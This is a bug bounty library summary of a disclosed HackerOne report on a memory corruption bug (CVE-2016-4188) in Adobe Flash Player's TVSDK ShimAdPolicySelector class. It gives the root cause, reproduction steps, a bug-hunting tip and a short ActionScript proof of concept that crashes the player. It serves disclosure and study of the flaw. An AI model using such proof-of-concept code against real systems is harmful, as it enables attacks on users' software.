# Adobe Flash Player ShimAdPolicySelector(adPolicySelectorType=0) class Memory Corruption

Constructing ShimAdPolicySelector with adPolicySelectorType=0 and calling selectAdBreaksToPlay() with an invalid AdPolicyInfo leaves inner fields uninitialized, causing memory corruption in Flash Player.

- Payout: $2,000
- Severity: high
- Program: Internet Bug Bounty
- Found by: hhj4ck
- Disclosed: 2019-11-12
- CVE: CVE-2016-4188
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/151040
- Library page: https://bugbountylibrary.com/r/h1%3A151040
- Tags: area:os domain:browser impact:dos kind:bounty platform:hackerone sev:high technique:source-review vuln:memory-corruption

**Target:** Adobe Flash Player 21.0.0.242 ActionScript3 TVSDK ShimAdPolicySelector class
**Root cause:** selectAdBreaksToPlay() fails to validate its AdPolicyInfo parameter; when ShimAdPolicySelector is built with adPolicySelectorType=0, some internal fields are never initialized, so the call dereferences absent state and crashes.
**Steps:**
1. Instantiate `new ShimAdPolicySelector(0, mp)` with adPolicySelectorType=0 and an uninitialized MediaPlayerItem
2. Declare an uninitialized `AdPolicyInfo ap`
3. Call `obj.selectAdBreaksToPlay(ap)`
4. Observe memory corruption/crash instead of an AS3-level error
**How found:** Researcher noticed selectAdBreaksToPlay() should validate its parameter and return an AS3 error, then tested the adPolicySelectorType=0 constructor path with an invalid AdPolicyInfo to see if validation was skipped.
**Insight:** When an API documents parameter validation, test alternate constructor modes (like type=0) that may skip initialization of internal fields, then pass malformed objects to trigger uninitialized-state dereferences.

## Proof of concept (copied exactly from the original report)

**AS3 PoC constructing ShimAdPolicySelector and calling selectAdBreaksToPlay**

```
package
{	
	import com.adobe.tvsdk.mediacore.MediaPlayerItem;
	import com.adobe.tvsdk.mediacore.timeline.advertising.policy.AdPolicyInfo;
	import com.adobe.tvsdk.mediacore.timeline.advertising.policy.ShimAdPolicySelector;	
	import flash.display.Sprite;

	public class poc extends Sprite
	{
		public function poc()
		{
			var mp:MediaPlayerItem;
			var ap:AdPolicyInfo;
			var obj:ShimAdPolicySelector = new ShimAdPolicySelector(0,mp);
			obj.selectAdBreaksToPlay(ap);
		}		
	}
}
```

